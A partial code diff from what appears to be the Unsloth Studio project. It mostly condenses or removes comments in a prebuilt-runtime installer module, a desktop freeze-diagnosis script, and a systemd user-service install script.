@@ -1293,8 +1262,7 @@ def extract_archive(archive_path: Path, destination: Path) -> None:
return normalized, resolved
def extract_zip_safely(source: Path, base: Path) -> None:
- # Local: only an install that unpacks an archive needs these, and every CLI
- # command imports this module.
+ # Local import: every CLI command imports this module.
import zipfile
with zipfile.ZipFile(source) as archive:
for member in archive.infolist():
@@ -1391,7 +1359,6 @@ def restore_tar_exec_bits(archive_path: Path, destination: Path) -> None:
for member in archive.getmembers():
if not (member.isfile() and member.mode & 0o111):
continue
- # Paths were already traversal-validated by the extractor above.
target = destination / Path(member.name.replace("\\", "/"))
if target.is_file():
os.chmod(target, target.stat().st_mode | 0o111)
@@ -1405,8 +1372,7 @@ def install_lock(lock_path: Path, *, timeout: float | None = None) -> Iterator[N
file_lock, file_lock_timeout = filelock_classes()
if file_lock is None:
- # Fallback lock: exclusive file creation, writing our PID so stale locks
- # from crashed processes can be detected.
+ # Fallback lock: exclusive create with our PID for stale-lock detection.
fd: int | None = None
deadline = time.monotonic() + seconds
while True:
@@ -1424,14 +1390,11 @@ def install_lock(lock_path: Path, *, timeout: float | None = None) -> Iterator[N
except FileExistsError:
stale = False
try:
- # errors="replace" so an undecodable lock reaches the int()
- # below and is treated as a corrupt PID, not retried forever.
+ # errors=replace so a garbled lock is treated as corrupt, not retried forever.
raw = lock_path.read_text(encoding = "utf-8", errors = "replace").strip()
except FileNotFoundError:
- # Lock vanished between our open and read -- retry
continue
if not raw:
- # Exists but PID not yet written; wait for the write to land.
if time.monotonic() >= deadline:
raise BusyInstallConflict(
f"timed out after {seconds}s waiting for concurrent install lock: {lock_path}"
@@ -1676,8 +1639,7 @@ def detected_linux_runtime_lines(ops: ModuleOps) -> tuple[list[str], dict[str, l
def windows_runtime_line_info() -> dict[str, tuple[str, ...]]:
- # Generated per CUDA major (newest first) so a new toolkit is detected without
- # a code change while the cudart64_<major>.dll naming holds.
+ # Generated per CUDA major, newest first, so a new toolkit needs no code change.
return {
f"cuda{m}": (
f"cudart64_{m}*.dll",
@@ -1835,8 +1797,7 @@ def blackwell_capable_linux_runtime_lines(host_sms: list[str], artifacts: list[A
lines: set[str] = set()
for artifact in artifacts:
line = artifact.runtime_line
- # Only rank "cuda<major>" lines; skip malformed/future-format values
- # (e.g. "cuda13.1") rather than crash the major sort.
+ # Skip malformed lines like cuda13.1 rather than crash the sort.
if not (line and line.startswith("cuda") and line[len("cuda") :].isdigit()):
continue
if not artifact.supported_sms or artifact.min_sm is None or artifact.max_sm is None:
@@ -1864,8 +1825,6 @@ def blackwell_min_toolkit_for_host(host: Any) -> tuple[int, int]:
# ════════════════════════════════════════════════════════════════════════════
-# Generic descriptor-driven install flow (whisper dialect: one release carries
-# a manifest of os/arch/backend artifacts plus a same-origin checksum index).
# ════════════════════════════════════════════════════════════════════════════
def host_platform_tokens(host: Any) -> tuple[str, str]:
"""Default (os, arch) asset tokens; components with their own HostInfo field
@@ -2186,8 +2145,7 @@ def asset_download_url(ops: ModuleOps, bundle: ReleaseBundle, asset_name: str) -
url = bundle.asset_urls.get(asset_name)
if url:
return url
- # A manifest can list an asset the release JSON omitted; fall back to the
- # deterministic release-download URL.
+ # A manifest can list an asset the release JSON omitted.
return ops.release_asset_download_url(bundle.repo, bundle.release_tag, asset_name)
@@ -2278,8 +2236,6 @@ def resolve_release_via_download_host(
)
except PrebuiltFallback:
return None
- # Tag-pinned CDN URLs for every asset the install may fetch (asset_download_url
- # reconstructs any missing one), keeping this a pure download-host path.
names = {
str(a.get("asset"))
for a in manifest.get("artifacts", [])
@@ -2353,20 +2309,17 @@ class InstallSelection:
runtime_line: str | None
coverage: dict[str, Any]
studio_protocol: str | None
- # Slim pairing identity (whisper slim bundles ride the llama ggml runtime);
- # all None for fat installs, never part of the fingerprint.
+ # Slim pairing identity; None for fat installs, never fingerprinted.
install_kind: str | None = None
paired_llama_tag: str | None = None
linked_from: str | None = None
- # Filenames the slim wiring hardlinked beside the server; the sidecar launch
- # guard verifies exactly these instead of hardcoded per-OS names.
+ # Verified by the sidecar launch guard instead of hardcoded names.
linked_libraries: tuple[str, ...] | None = None
runtime_wiring_version: int | None = None
linked_runtime_directories: tuple[str, ...] | None = None
- # None when release_tag is the newest. Describes the choice, not the bundle: never fingerprinted.
+ # Never fingerprinted.
walk_back: "WalkBack | None" = None
- # The manifest's os/arch, so a keep decision need not infer it from an asset name a custom
- # repository may spell freely. Outside the fingerprint.
+ # Recorded so keep decisions need not parse asset names. Outside the fingerprint.
platform_os: str | None = None
platform_arch: str | None = None
@@ -2518,8 +2471,7 @@ def write_prebuilt_metadata(ops: ModuleOps, install_dir: Path, selection: Instal
"min_os": coverage.get("min_os"),
"studio_protocol": selection.studio_protocol,
"install_fingerprint": selection.fingerprint(),
- # The one fingerprint input the top-level fields do not carry whole, so a later run can
- # recompute and tell a whole marker from an edited one.
+ # Lets a later run tell a whole marker from an edited one.
"fingerprint_coverage": coverage,
"installed_at_utc": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
}
@@ -2529,18 +2481,15 @@ def write_prebuilt_metadata(ops: ModuleOps, install_dir: Path, selection: Instal
payload["os"] = selection.platform_os
payload["arch"] = selection.platform_arch
if selection.install_kind == "slim":
- # Additive slim fields; fat markers keep the legacy payload exactly.
+ # Fat markers keep the legacy payload exactly.
payload["install_kind"] = "slim"
payload["paired_llama_tag"] = selection.paired_llama_tag
payload["linked_from"] = selection.linked_from
- # The ggml tree these hardlinks point into: the tag alone cannot say whether a later llama
- # build still backs this bundle. Absent reads as "cannot say": full path.
paired_tree = getattr(ops, "installed_paired_runtime_tree", None)
paired_tree = paired_tree() if callable(paired_tree) else None
if isinstance(paired_tree, str) and paired_tree:
payload["paired_llama_ggml_tree"] = paired_tree
- # ...and WHICH install of that tree, since one release publishes a bundle per gfx target:
- # the tree id survives a reselection that replaces every byte behind these hardlinks.
+ # One release ships a bundle per gfx target, so the tree id alone is not enough.
paired_id = getattr(ops, "installed_paired_runtime_id", None)
paired_id = paired_id() if callable(paired_id) else None
if isinstance(paired_id, str) and paired_id:
@@ -2551,8 +2500,7 @@ def write_prebuilt_metadata(ops: ModuleOps, install_dir: Path, selection: Instal
payload["runtime_wiring_version"] = selection.runtime_wiring_version
if selection.linked_runtime_directories is not None:
payload["linked_runtime_directories"] = list(selection.linked_runtime_directories)
- # Optional per component: size + sha256 of the payload a reuse would otherwise have to RUN to
- # trust. Written last so it covers the wiring above. Absent means full path once.
+ # Written last so it covers the wiring above.
records = getattr(ops, "runtime_file_records", None)
records = records(install_dir, selection) if callable(records) else None
if records:
@@ -2610,7 +2558,6 @@ def _kept_marker_patch(
if not isinstance(metadata.get("fingerprint_coverage"), dict):
patch["fingerprint_coverage"] = selection.coverage
patch.update(walk_back_patch(metadata, selection.walk_back))
- # Added only: a platform already recorded was written by the run that selected it.
if (
selection.platform_os
and selection.platform_arch
@@ -2641,8 +2588,7 @@ def _backfill_fingerprint_inputs(
if not patch:
return
metadata = ops.load_prebuilt_metadata(install_dir)
- # A second read: another installer swapping the tree in between leaves None, and falling out is
- # right, since the run that replaced the tree wrote its own marker.
+ # Another installer may have swapped the tree; it wrote its own marker.
if not metadata:
return
if metadata.get("install_fingerprint") != selection.fingerprint():
@@ -2652,7 +2598,7 @@ def _backfill_fingerprint_inputs(
metadata.pop(key, None)
else:
metadata[key] = value
- # Over a LIVE marker: temp-and-replace, so a failed write leaves the valid one in place.
+ # Temp-and-replace so a failed write leaves the live marker valid.
write_live_marker(ops.metadata_path(install_dir), metadata)
@@ -2821,10 +2767,7 @@ def install_from_bundle(
staged_root = staging / "staged"
ops.assemble_install_tree(bundle_root, staged_root, host)
- # Component hook (default no-op): slim whisper wires the llama ggml
- # runtime here so staged validation sees the final linked tree; a returned
- # selection (with the wired filenames) supersedes the input so the marker
- # records what was actually linked.
+ # Wire the slim runtime before staged validation; the returned selection supersedes the input.
updated = ops.prepare_runtime_payload(staged_root, host, selection)
if updated is not None:
selection = updated
@@ -2930,7 +2873,6 @@ def install_selected_prebuilt(
if not force and ops.existing_install_matches(install_dir, host, selection):
if _settle_kept_install(ops, install_dir, host, selection, locked = False):
return 0
- # Changed under the lock: the locked path re-checks rather than reporting a replaced release.
with ops.install_lock(ops.install_lock_path(install_dir)):
# Re-check under the lock: a concurrent run may have just finished.
@@ -3027,8 +2969,7 @@ def resolve_prebuilt(
"arch": arch_token,
"runtime_line": artifact.get("runtime_line"),
}
- # Component hook (default none): whisper adds install_kind slim|fat. The JSON
- # emitter sorts keys, so an appended field can't perturb the legacy key order.
+ # The JSON emitter sorts keys, so appended fields cannot perturb legacy order.
payload.update(ops.resolver_payload_extra(artifact))
return payload
@@ -3050,8 +2991,6 @@ def installed_server_path(ops: ModuleOps, install_dir: Path, host: Any) -> Path:
return ops.runtime_bin_dir(install_dir, host) / ops.server_binary_name(host)
-# Underscored aliases so ops lookups that mirror the installer modules' private
-# names still resolve for a descriptor-only component.
_download_host_latest_release_tag = download_host_latest_release_tag
_download_host_json = fetch_download_host_json
_resolve_release_via_download_host = resolve_release_via_download_host
diff --git a/studio/scripts/unsloth_freeze_report.py b/studio/scripts/unsloth_freeze_report.py
index 15c9fc6b9f8..f0fb1028bbc 100644
--- a/studio/scripts/unsloth_freeze_report.py
+++ b/studio/scripts/unsloth_freeze_report.py
@@ -58,40 +58,25 @@ from pathlib import Path
HOME = Path.home()
STUDIO = HOME / ".unsloth" / "studio"
BACKEND_LOGS = STUDIO / "logs"
-# The interface's heartbeat. /api/export/status is the load-bearing member: it is polled every 5s
-# from an effect with an EMPTY dependency list, mounted unconditionally at the app root, with no
-# setting and no `document.hidden` check. Every OTHER poll here is behind something the user
-# controls, so a hit from one is good evidence the webview is alive but its SILENCE is not a
-# symptom; reading it as one made an earlier version report FROZE on a stock install.
-# /api/auth/status is deliberately absent: it fetches on navigation with a 30s TTL, never on a
-# timer, so scoring it would invent a freeze out of somebody sitting still. The native shell
-# requests only /api/liveness and /api/health, so every hit here comes from the webview.
+# /api/export/status is the only unconditional 5s heartbeat; other polls are user-gated.
+# /api/auth/status is excluded: it fetches on navigation, not a timer.
INTERFACE = re.compile(
r"/api/(?:export/status|inference/monitor|inference/status"
r"|inference/images/status|inference/video/status|inference/audio/stt/status)"
)
LIVENESS = re.compile(r"/api/liveness")
-# The webview's sign-in traffic.
SESSION = re.compile(r"/api/auth/(?:status|login|logout|refresh)\b")
-# Printed by the desktop shell (main.rs) before anything else, through a stderr logger
SHELL_STARTED = re.compile(r"Unsloth desktop app starting")
-# `{reason}; set VAR=1 VAR2=1 for WebKitGTK compatibility`, the app's own record of the renderer workaround it chose for
-# itself.
RENDERER_APPLIED = re.compile(r"set ((?:[A-Za-z_][A-Za-z_0-9]*=1\s*)+)for WebKitGTK compatibility")
-# Overridable so CI can exercise this script end to end in a couple of minutes.
WARMUP = int(os.environ.get("UNSLOTH_FREEZE_WARMUP", 90))
WINDOW = int(os.environ.get("UNSLOTH_FREEZE_WINDOW", 150))
POLL_EVERY = 15
-# Both counters flat for this long, with the app still running, is not a healthy run: the
-# backend stopped being recorded. Three poll intervals, so a single missed sample is not it.
+# Both counters flat this long while the app runs means the backend is no longer being recorded.
STALE_AFTER = 3 * POLL_EVERY
-# desktop_candidate_ports() in studio/src-tauri/src/desktop_backend_owner.rs: the shell
-# walks 8888..=8908 and takes the first free one, so checking two of them would miss a
-# leftover backend on any of the other nineteen and hand the next candidate an orphan.
+# Must match desktop_candidate_ports() in desktop_backend_owner.rs (8888..=8908).
PORTS = tuple(range(8888, 8909))
-# Each entry is (label, extra environment, why it is being tried).
CANDIDATES = [
("control (no override)", {}, "baseline; everything below is compared against this"),
(
@@ -114,7 +99,6 @@ CANDIDATES = [
CANDIDATE_VARS = tuple(sorted({k for _, extra, _ in CANDIDATES for k in extra}))
-# Every renderer override the APP reads.
RENDERER_OVERRIDE_VARS = (
"GDK_BACKEND",
"UNSLOTH_WEBKIT_DISABLE_COMPOSITING",
@@ -125,7 +109,6 @@ RENDERER_OVERRIDE_VARS = (
)
CLEARED_VARS = tuple(sorted(set(CANDIDATE_VARS) | set(RENDERER_OVERRIDE_VARS)))
-# Applied to the app this script launches, and to nothing else.
MEASUREMENT_ENV = {
"UNSLOTH_STUDIO_ACCESS_LOG_DEDUP_MS": "0",
"UNSLOTH_STUDIO_ACCESS_LOG_POLL_DEDUP_MS": "0",
@@ -203,8 +186,7 @@ def find_desktop_app() -> list[str] | None:
found += [str(q) for q in sorted(hits, key = lambda q: q.stat().st_mtime, reverse = True)]
if not found:
return None
- # An AppImage arrives without the execute bit, so prefer a startable candidate but still return one, or Popen raises
- # PermissionError before anything is measured or written.
+ # An AppImage arrives without +x; still return one so Popen does not raise.
return [next((c for c in found if is_executable(c)), found[0])]
@@ -471,8 +453,7 @@ def classify(
)
if exited == 0 and ran_for <= 20:
- # A clean, immediate exit is almost always the single-instance guard (another copy already open,
- # so this launch handed over and quit), and calling that "crashed" would be wrong and alarming.
+ # A clean immediate exit is usually the single-instance guard, not a crash.
return (
"SKIPPED: the app exited immediately and cleanly, which usually means "
"another copy of Unsloth is already running. Close it and re-run"
@@ -483,7 +464,6 @@ def classify(
f"closed the window, just re-run and leave it open"
)
if exited is not None and not has_display:
- # Over plain SSH there is nothing to draw on.
return (
f"CANNOT RUN: the app exited (code {exited}) and there is no display to draw "
f"on. Run this from a desktop session, not over plain SSH"
@@ -492,8 +472,6 @@ def classify(
return f"CRASHED: the app exited on its own (code {exited})"
if n_mon == 0 and n_live == 0:
- # Do not guess the cause: the preflight line the app already printed says which of the two it is, and naming the
- # wrong one sends the user off fixing nothing.
if not preflight and not shell_started:
reason = (
"the desktop shell never started. If you launched `unsloth studio`, that "
@@ -515,13 +493,11 @@ def classify(
return f"NO SIGNAL: this run measured nothing, because {reason}"
if n_live == 0:
- # The whole oracle is "watchdog alive, interface silent".
return (
"NO SIGNAL: the native watchdog never polled, so there is no independent "
"signal to tell a frozen interface from a healthy one"
)
if n_mon == 0:
- # NOT a freeze, however much it looks like one.
return (
"NO SIGNAL: the interface was never heard from at all, so a frozen webview "
"cannot be told apart from one that was never able to poll. Check that you "
@@ -529,13 +505,7 @@ def classify(
"this started"
)
- # Did the interface stop polling partway through while the watchdog carried on? That is the reported
- # symptom, and a total that looks healthy can still hide it.
- # Only after the warmup boundary: on a cold launch the native watchdog is answering before the webview
- # has finished loading, so the very first samples always show a still interface count and a rising
- # watchdog count, and comparing them reported healthy runs as FROZE at the moment they finished starting.
- # A freeze does not recover, so a gap the interface polls its way out of is a delayed request rather
- # than the symptom.
+ # Only after warmup: on a cold launch the watchdog answers before the webview loads.
post = [s for s in samples if s[0] >= warmup]
resumed_at = _last_rise(post, 1)
watchdog_last = _last_rise(post, 2)
@@ -545,12 +515,7 @@ def classify(
continue
stalled_at = post[i][0]
if session_at is not None and session_at >= stalled_at:
- # The heartbeat is gated on holding a session token, so losing the session stops it as thoroughly as a
- # freeze does and the counters look identical. What separates them is that the webview went on making
- # requests after the heartbeat stopped, and a frozen webview cannot ask anything, so this is the app
- # falling back to its login screen. A positive signal rather than a doubt: it does not narrow the FROZE
- # arm, and a session cleared without a single request reaching the backend is still reported as a
- # freeze.
+ # Requests after the heartbeat stopped mean a sign-out; a frozen webview cannot ask.
return (
f"SIGNED OUT: the interface stopped polling at about {stalled_at}s, but "
f"it was still asking the backend about your session at about "
@@ -564,7 +529,6 @@ def classify(
f"FROZE: the interface stopped polling at about {stalled_at}s "
f"while the watchdog kept going"
)
- # Short of that, this candidate is unsettled.
return (
f"SUSPECT: the interface stopped polling at about {stalled_at}s, but the "
f"watchdog only kept going for another {sustained}s after that, short of "
@@ -574,14 +538,11 @@ def classify(
f"itself"
)
- # Both loops stopped together while the shell stayed up: neither counter moving means neither can be compared, and
- # this used to fall through to OK and report a dead run as healthy.
end = samples[-1][0] if samples else 0
mon_rise, live_rise = _last_rise(samples, 1), _last_rise(samples, 2)
if len(samples) >= 4 and end >= warmup:
quiet_for = end - max(mon_rise or 0, live_rise or 0)
- # Inclusive: STALE_AFTER is three poll intervals, and the strict comparison let the exact boundary case through
- # to OK, which is the one case the constant was picked to name.
+ # Inclusive: the exact boundary is the case STALE_AFTER names.
if quiet_for >= STALE_AFTER:
return (
f"NO SIGNAL: nothing was recorded for the last {quiet_for}s of the run, "
@@ -589,8 +550,6 @@ def classify(
f"answering or stopped being logged before the window ended"
)
- # The interface cannot be observed until it has a backend and a session, so a run whose counters first move in the
- # last few samples has no flat interval to find and passed the ratio test as OK.
heard_from = _first_heard(samples, 1)
watched = (end - heard_from) if heard_from is not None else 0
if heard_from is not None and watched < STALE_AFTER:
@@ -623,9 +582,7 @@ def run_candidate(label, extra, why, cmd) -> dict:
if cleared:
print(f" unset for this candidate: {', '.join(cleared)}", flush = True)
before = backend_offsets()
- # To a FILE, never subprocess.PIPE: nothing reads the pipe while the app runs, so once it filled
- # the 64 KiB buffer it would block on its own stdout and this script would hang the app it is
- # measuring.
+ # To a file, never PIPE: an unread pipe fills and hangs the app being measured.
app_log = Path(tempfile.mkstemp(suffix = ".log", prefix = "unsloth-freeze-")[1])
try:
proc = subprocess.Popen(
@@ -636,10 +593,7 @@ def run_candidate(label, extra, why, cmd) -> dict:
start_new_session = True,
)
except OSError as exc:
- # The execute bit says the kernel may try, not that the try succeeds: a wrong-arch build, a
- # truncated AppImage, a missing `#!` interpreter or a noexec mount all fail at execve, and Popen
- # raises OSError, which the candidate loop does not catch, ending the whole diagnostic with
- # nothing measured. Record it as this candidate's result so the rest still run.
+ # Popen raises OSError at execve (wrong arch, noexec); record it so other candidates still run.
why_failed = scrub(str(exc.strerror or exc))
print(f" CANNOT RUN: {why_failed}", flush = True)
return {
@@ -666,9 +620,6 @@ def run_candidate(label, extra, why, cmd) -> dict:
started = time.monotonic()
at_exec, samples, exited, ran_for = {}, [], None, 0
interrupted = False
- # When the webview was last seen asking about the session, and how many such requests
- # that was. Kept beside the samples rather than in them: it is not a heartbeat, it is
- # the one thing that can tell a sign-out apart from a freeze. See SESSION.
session_seen, session_at = 0, None
print(f" launching, then watching for {_span(WARMUP + WINDOW)}.", flush = True)
@@ -706,7 +657,6 @@ def run_candidate(label, extra, why, cmd) -> dict:
finally:
alive = proc.poll() is None
if not alive and exited is None:
- # It died between the loop's last poll and this one.
exited = proc.returncode
if not ran_for:
ran_for = round(time.monotonic() - started)
@@ -752,7 +702,6 @@ def run_candidate(label, extra, why, cmd) -> dict:
"candidate": label,
"why": why,
"env": extra,
- # What was taken away, not just what was added.
"cleared_env": cleared,
"verdict": verdict,
"preflight": scrub(preflight) if preflight else "(not seen)",
@@ -760,8 +709,6 @@ def run_candidate(label, extra, why, cmd) -> dict:
"env_at_exec": at_exec,
"interface_polls": n_mon,
"watchdog_polls": n_live,
- # When the webview last asked about the session, so a reader can see for
- # themselves why a stall was or was not read as a sign-out. See SESSION.
"session_seen_at": session_at,
"exit_code": exited,
"samples": samples,
@@ -829,7 +776,6 @@ def main() -> int:
f" python3 {Path(__file__).name} ~/Applications/Unsloth-Desktop.AppImage"
)
return 2
- # Checked here, not left to the launch. subprocess.Popen raises PermissionError
if not is_executable(cmd[0]):
print(
f"{cmd[0]} is not executable, so it cannot be launched.\n\n"
@@ -848,7 +794,6 @@ def main() -> int:
)
print("Use the app normally during each one. Ctrl-C skips to the next candidate.\n")
- # Only refuse over a listener this script would actually stop.
if studio_backend_pids():
print("An Unsloth backend is already listening on an Unsloth port. That is either")
print("Unsloth running right now, or a backend left behind by an earlier run, and")
@@ -882,8 +827,7 @@ def main() -> int:
except KeyboardInterrupt:
print("\n skipped by user", flush = True)
finally:
- # Closing the app does not stop the backend it started, so without this the reporter's next launch attaches to a
- # backend nothing is recording.
+ # Closing the app leaves its backend running; stop it before the next candidate.
print("\n stopping any backend left behind by the last candidate", flush = True)
stop_leftover_backend()
@@ -892,8 +836,6 @@ def main() -> int:
json.dumps(
{
"host": json.loads(scrub(json.dumps(facts))),
- # Stated, not just commented: every launch ran with the access-log suppressors off, which is the only
- # reason the interface heartbeat appears at all.
"measurement_env": MEASUREMENT_ENV,
"results": results,
},
diff --git a/studio/systemd/install_user_service.sh b/studio/systemd/install_user_service.sh
index 66f846bc618..12844d07fc5 100755
--- a/studio/systemd/install_user_service.sh
+++ b/studio/systemd/install_user_service.sh
@@ -109,7 +109,7 @@ _exec_start="$(_unit_quote "$_UNSLOTH_EXE") studio -H $(_unit_quote "$_HOST") -p
_env_line=""
[ -n "$_STUDIO_HOME" ] && _env_line="Environment=$(_unit_quote "UNSLOTH_STUDIO_HOME=$_STUDIO_HOME")"
-# Enabling: the unit goes where the user manager looks, which follows its own HOME, not ours.
+# The unit goes where the user manager looks, which follows its own HOME, not ours.
_cfg_home="$HOME"
_cfg_xdg="${XDG_CONFIG_HOME:-}"
if [ "$_DO_ENABLE" = true ]; then
@@ -123,7 +123,6 @@ case "$_cfg_xdg" in
esac
mkdir -p "$_unit_dir"
_unit_path="$_unit_dir/$UNIT_NAME"
-# Never replace a unit the user wrote themselves.
if [ -e "$_unit_path" ] && [ "$(head -n 1 "$_unit_path" 2>/dev/null)" != "# unsloth-studio-managed-systemd" ]; then
echo "ERROR: $_unit_path exists and was not written by Unsloth; leaving it alone." >&2
exit 1